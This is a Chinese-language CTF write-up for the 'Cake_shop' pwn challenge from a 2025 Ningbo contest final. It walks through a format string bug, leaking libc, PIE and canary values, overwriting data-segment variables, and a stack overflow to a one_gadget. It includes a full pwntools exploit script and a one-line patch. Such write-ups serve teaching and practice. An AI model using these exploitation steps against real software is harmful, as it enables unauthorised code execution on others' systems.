874 words
4 minutes
Write-ups: 2025 宁波市第八届网络安全大赛决赛

Cake_shop#

Information#

  • Category: AWDP Pwn
  • Points: Unknown

Description#

Unknown

Write-up#

Kong 师傅分享的题,本来只是抱着试一试的心态,看看能不能做出来的,结果没想到还真做出来了……决赛题,不过感觉挺简单,如果我在现场的话就拿分了哈哈哈,可惜了,国内赛事接触太少了。Anyway,还是值得记录一下的。

粗略分析一下,发现 do_nothing 里面存在格式化字符串漏洞。由于主菜单无限循环,所以我们可以无限触发格式化字符串漏洞,感觉这样一来题目难度瞬间就低了好几个档次。

int do_nothing()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts(s);
puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m");
puts("\x1B[33mWhat if it happens\x1B[0m");
read(0, buf, 0x28u);
return printf(buf);
}

chatearn_money 功能没啥用,直接看 buy

__int64 buy()
{
int choice; // [rsp+8h] [rbp-38h] BYREF
int money; // [rsp+Ch] [rbp-34h]
_BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts(s);
puts("\x1B[33mWe have three kinds of cakes here\x1B[0m");
puts("\x1B[33m1.Strawberry cake $10\x1B[0m");
puts("\x1B[33m2.Orange cake $50\x1B[0m");
puts("\x1B[33m3.Watermelon cake $100\x1B[0m");
__isoc99_scanf("%d", &choice);
if ( choice == 1 )
{
money -= 10;
money = money;
if ( money < 0 )
puts("\x1B[33mYou don't have enough money\x1B[0m");
}
if ( choice == 2 )
{
money -= 50;
money = money;
if ( money < 0 )
puts("\x1B[33mYou don't have enough money\x1B[0m");
}
if ( choice == 3 )
{
money -= 100;
money = money;
if ( money < 0 )
puts("\x1B[33mYou don't have enough money\x1B[0m");
}
if ( choice != 666 || money != 99999999 )
return 0;
puts("\x1B[33mBuy the whole cake shop\x1B[0m");
read(0, buf, (unsigned int)size);
return 0;
}

标绿的部分正常情况下是执行不到的,注意到后面还有个 read 函数,感觉有猫腻。因为有格式化字符串漏洞,我们可以先把程序的几个关键基址算出来,然后再思考如何绕过检测,执行到最后那个 read 函数。

这里 choice 我们可以直接传入 666,所以问题就是 money 怎么赋值了。注意到 money 在 data 段,rw-p 权限,可篡改。

算了下,格式化字符串得写四字节,值是 0x5f5e0ff。由于只有几千万字节大小,写起来不会花多久,所以我一开始做的时候是选择一次性写完的,但听 Kong 师傅说他一次性写完有问题,于是我就改成一次写两字节了。

最后那个 read 将输入读到四十字节的 buffer 中,但是默认 size 只有 32 字节。不过由于 size 也保存在 data 段,所以我们同理可以利用 do_nothing 的格式化字符串改写 size,溢出返回地址。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "./pwn_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("./libc.so.6")
def buy(choice):
target.sendlineafter(b"Please make your choice>>", str(1).encode())
target.sendlineafter(b"$100", str(choice).encode())
def do_nothing(msg):
target.sendlineafter(b"Please make your choice>>", str(4).encode())
target.sendlineafter(b"What if it happens", msg)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
payload = b"%17$p %8$p"
do_nothing(payload)
target.recvline()
response = target.recvline().strip().split()
libc.address = int(response[0], 16) - 0x24083
pie = int(response[1], 16) - 0x1570
payload = b"%11$p"
do_nothing(payload)
target.recvline()
canary = int(target.recvline().strip(), 16)
money_p1 = pie + 0x4010
money_p2 = money_p1 + 2
money_value_p1 = 0x5F5E0FF & 0xFFFF
money_value_p2 = (0x5F5E0FF >> 16) & 0xFFFF
read_size = pie + 0x4014
one_gadget = libc.address + 0xE3AFE
target.success(f"libc: {hex(libc.address)}")
target.success(f"pie: {hex(pie)}")
target.success(f"canary: {hex(canary)}")
target.success(f"money: {hex(money_p1)}")
target.success(f"read_size: {hex(read_size)}")
target.success(f"one_gadget: {hex(one_gadget)}")
payload = flat(
f"aaaa%{money_value_p1 - 0x4}c%8$hn".encode(),
money_p1,
)
do_nothing(payload)
payload = flat(
f"aaaaa%{money_value_p2 - 0x5}c%8$hn".encode(),
money_p2,
)
do_nothing(payload)
payload = flat(
b"aaaaaa%1337c%8$n",
read_size,
)
do_nothing(payload)
buy(666)
# 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret;
payload = flat(
b"A" * 0x28,
canary,
b"A" * 0x8,
pie + 0x00000000000015CC,
0,
0,
0,
0,
one_gadget,
)
target.sendline(payload)
target.interactive()
if __name__ == "__main__":
main()

Patch#

直接把 printf patch 成 puts 就好了,ez

int do_nothing()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts(s);
puts("\x1B[33mMaybe it should be thought about in your head\x1B[0m");
puts("\x1B[33mWhat if it happens\x1B[0m");
read(0, buf, 0x28u);
return puts(buf);
}
Write-ups: 2025 宁波市第八届网络安全大赛决赛
https://cubeyond.net/posts/write-ups/2025-宁波市第八届网络安全大赛决赛/
Author
CuB3y0nd
Published at
2025-09-17
License
CC BY-NC-SA 4.0